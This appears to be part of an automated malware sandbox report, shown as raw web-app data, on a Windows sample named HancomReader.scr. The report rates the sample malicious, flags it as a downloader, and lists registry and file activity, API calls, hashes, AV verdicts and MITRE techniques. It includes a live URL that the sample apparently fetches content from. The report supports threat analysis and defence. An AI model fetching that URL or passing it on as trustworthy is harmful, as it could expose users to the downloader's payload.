"HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")31:Td43,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "HANCOMREADER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\MSHTA.EXE"; Key: "USEFILTER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\MSHTA.EXE"; Key: "DEBUGGER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\MSHTA.EXE"; Key: "USELARGEPAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\MSHTA.EXE"; Key: "NODEOPTIONS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\MSHTA.EXE"; Key: "ENABLELOWVAACCESS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\MSHTA.EXE"; Key: "MITIGATIONOPTIONS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPCOMPAT"; Key: "DISABLEENGINE"; Value: "")32:T576,".exe" trying to touch file "C:\Windows\system32\IMM32.DLL" ".exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" ".exe" trying to touch file "C:\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to touch file "C:\Windows\system32\rpcss.dll" ".exe" trying to touch file "C:\CRYPTBASE.dll" ".exe" trying to touch file "C:\Windows\system32\CRYPTBASE.dll" ".exe" trying to touch file "\Device\KsecDD" ".exe" trying to touch file "C:\Windows\system32\uxtheme.dll" ".exe" trying to touch file "C:\Windows\System32\mshta.exe" ".exe" trying to touch file "C:\Windows\system32\apphelp.dll" ".exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" ".exe" trying to touch file "C:\Windows\System32\ui\SwDRM.dll" ".exe" trying to touch file "C:\Windows\System32\en\mshta.exe.mui" ".exe" trying to touch file "C:\Windows\Temp\VxOle32.dll"33:T442,".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to access non-existent file "C:\CRYPTBASE.dll" ".exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" ".exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "mshta.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "mshta.exe" trying to access non-existent file "C:\Program Files\Microsoft Office\Office14\outllib.dll" "mshta.exe" trying to access non-existent file "C:\Windows\system32\DXGIDebug.dll"34:Tdda,Found URL "http://goodmarket.or.kr/member/check/dat/1.htmlrsdse:\project\windows\tools\runcmd\release\runcmd.pdbmultibytetowidechargetlasterrorgetmodulefilenameacreatemutexawinexecclosehandlekernel32.dllcouninitializecoinitializeole32.dllgetcommandlineaheapsetinformationgetstartupinfowterminateprocessgetcurrentprocessunhandledexceptionfiltersetunhandledexceptionfilterisdebuggerpresentdecodepointerencodepointergetprocaddressgetmodulehandlewexitprocesswritefilegetstdhandlegetmodulefilenamewfreeenvironmentstringswwidechartomultibytegetenvironmentstringswsethandlecountinitializecriticalsectionandspincountgetfiletypedeletecriticalsectiontlsalloctlsgetvaluetlssetvaluetlsfreeinterlockedincrementsetlasterrorgetcurrentthreadidinterlockeddecrementheapcreatequeryperformancecountergettickcountgetcurrentprocessidgetsystemtimeasfiletimesetfilepointergetconsolecpgetconsolemodeentercriticalsectionleavecriticalsectiongetcpinfogetacpgetoemcpisvalidcodepageheapfreesleeploadlibrarywrtlunwindsetstdhandlewriteconsolewlcmapstringwgetstringtypewheapallocheapreallocisprocessorfeaturepresentheapsizecreatefilewflushfilebuffers" - Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp") Found URL "http://goodmarket.or.kr/member/check/dat/1.htmlaclui.dlladsnt.dllaeinv.dllaepic.dllalg.exeansi.sysapds.dllappmgmtappraiserapss.dllarp.exeat.exeatl.dllatl71.dllatmfd.dllauthz.dllavrt.dllazman.mscbatt.dllbdeui.dllbfe.dllbios1.rombios4.romboot.sdibthci.dllcacls.execalc.execatrootcatroot2cca.dllcdd.dllcero.rschcp.comci.dllcic.dllclb.dllclfs.sysclip.execmd.execmifw.dllc:\windows\system32\mshta.exeh;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\\wireshark;c:\program" - Source: "00000000-00003992.00000000.66619.00500000.00000004.mdmp") Found URL "http://goodmarket.or.kr/member/check/dat/1.htmlrsdse:\project\windows\tools\runcmd\release\runcmd.pdbmultibytetowidechargetlasterrorgetmodulefilenameacreatemutexawinexecclosehandlekernel32.dllcouninitializecoinitializeole32.dllgetcommandlineaheapsetinformationgetstartupinfowterminateprocessgetcurrentprocessunhandledexceptionfiltersetunhandledexceptionfilterisdebuggerpresentdecodepointerencodepointergetprocaddressgetmodulehandlewexitprocesswritefilegetstdhandlegetmodulefilenamewfreeenvironmentstringswwidechartomultibytegetenvironmentstringswsethandlecountinitializecriticalsectionandspincountgetfiletypedeletecriticalsectiontlsalloctlsgetvaluetlssetvaluetlsfreeinterlockedincrementsetlasterrorgetcurrentthreadidinterlockeddecrementheapcreatequeryperformancecountergettickcountgetcurrentprocessidgetsystemtimeasfiletimesetfilepointergetconsolecpgetconsolemodeentercriticalsectionleavecriticalsectiongetcpinfogetacpgetoemcpisvalidcodepageheapfreesleeploadlibrarywrtlunwindsetstdhandlewriteconsolewlcmapstringwgetstringtypewheapallocheapreallocisprocessorfeaturepresentheapsizecreatefilewflushfilebuffers" - Source: "00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found URL "http://goodmarket.or.kr/member/check/dat/1.htmlaclui.dlladsnt.dllaeinv.dllaepic.dllansi.sysapds.dllappmgmtappraiserapss.dllarp.exeat.exeatl.dllatl71.dllatmfd.dllavrt.dllazman.mscbatt.dllleaut32.dllbfe.dllbios1.rombios4.rombthci.dllcalc.execatrootcatroot2cca.dllcdd.dllcero.rschcp.comci.dllcic.dllclb.dllclfs.sysclip.execmifw.dllc:\windows\system32\mshta.exeh;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\\wireshark;c:\program" - Source: "00000000-00003992.00000001.66972.00537000.00000004.mdmp")35:Ta25,".exe" called "FindFirstFileW" with parameter %WINDIR%\System32\*.* (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter 0409 (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter 12520437.cpx (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter 12520850.cpx (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter 7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0 (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter 7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0 (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter aaclient.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter accessibilitycpl.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter ACCTRES.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter acledit.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter aclui.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter acmigration.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter acppage.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter acproxy.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter ActionCenter.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter ActionCenterCPL.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter ActionQueue.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter activeds.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter activeds.tlb (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter actxprxy.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter AdapterTroubleshooter.exe (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter AdmTmpl.dll (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter Adobe (UID: 00000000-00003992) ".exe" called "FindNextFileW" with parameter adprovider.dll (UID: 00000000-00003992)36:T4ce,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "HancomReader.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "HancomReader.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "HancomReader.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "HancomReader.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp")37:T990,"mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")38:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790271684873,"unified_at":"2026-09-24T17:41:24.873Z","metadata":{"hashes":{"sha256":"ff79c5eb93f3da35addec749f36631612e288ac4f86e793920a0cdb6b68c9c8f","sha1":"f1a4720b04dbb2b5acc42031878bafa23ad1bb24","md5":"d8c9a357da3297e7ccb2ed3a5761e59f","sha512":"663a2b7207d9bf9294e83c3875556a758ba16fa0ec7ed92ec01aed6afbc96f3a463231062d61291643275e782ff5812e3e697cd93e51d21fdf3e7cbf4a9ed0c7","ssdeep":"768:+FrGbjSmYQBcUIH9hayzX3PknzEDDXnTBM417jfN:+sMQBcTDaEX3PiQTp77N","ssdeep_chunks":["768:+FrGbjS","768:FrGbjSm","768:rGbjSmY","768:GbjSmYQ","768:bjSmYQB","768:jSmYQBc","768:SmYQBcU","768:mYQBcUI","768:YQBcUIH","768:QBcUIH9","768:BcUIH9h","768:cUIH9ha","768:UIH9hay","768:IH9hayz","768:H9hayzX","768:9hayzX3","768:hayzX3P","768:ayzX3Pk","768:yzX3Pkn","768:zX3Pknz","768:X3PknzE","768:3PknzED","768:PknzEDD","768:knzEDDX","768:nzEDDXn","768:zEDDXnT","768:EDDXnTB","768:DDXnTBM","768:DXnTBM4","768:XnTBM41","768:nTBM417","768:TBM417j","768:BM417jf","768:M417jfN","1536:+FrGbjS","1536:FrGbjSm","1536:rGbjSmY","1536:GbjSmYQ","1536:bjSmYQB","1536:jSmYQBc","1536:SmYQBcU","1536:mYQBcUI","1536:YQBcUIH","1536:QBcUIH9","1536:BcUIH9h","1536:cUIH9ha","1536:UIH9hay","1536:IH9hayz","1536:H9hayzX","1536:9hayzX3","1536:hayzX3P","1536:ayzX3Pk","1536:yzX3Pkn","1536:zX3Pknz","1536:X3PknzE","1536:3PknzED","1536:PknzEDD","1536:knzEDDX","1536:nzEDDXn","1536:zEDDXnT","1536:EDDXnTB","1536:DDXnTBM","1536:DXnTBM4","1536:XnTBM41","1536:nTBM417","1536:TBM417j","1536:BM417jf","1536:M417jfN","768:+sMQBcT","768:sMQBcTD","768:MQBcTDa","768:QBcTDaE","768:BcTDaEX","768:cTDaEX3","768:TDaEX3P","768:DaEX3Pi","768:aEX3PiQ","768:EX3PiQT","768:X3PiQTp","768:3PiQTp7","768:PiQTp77","768:iQTp77N"],"imphash":"998474e5ff094ecd7f28b7b53b0fc674"},"file_info":{"file_name":"HancomReader.scr","file_type":["peexe","executable"],"file_type_id":"exe","file_size":40960,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1681274593000,"last_seen":1693555846000,"last_multi_scan":1693555846000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["maldoc"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":54},"sandbox_signatures":{"informative_count":118,"suspicious_count":14,"malicious_count":6,"total":138},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Downloader/Win.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.66621591","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.66621591 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 00584baa1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Win32.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"RDN/Generic Downloader.x","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABRisk.ZXGL-0238","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.3311833","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"suspicious","value":"Imports suspicious 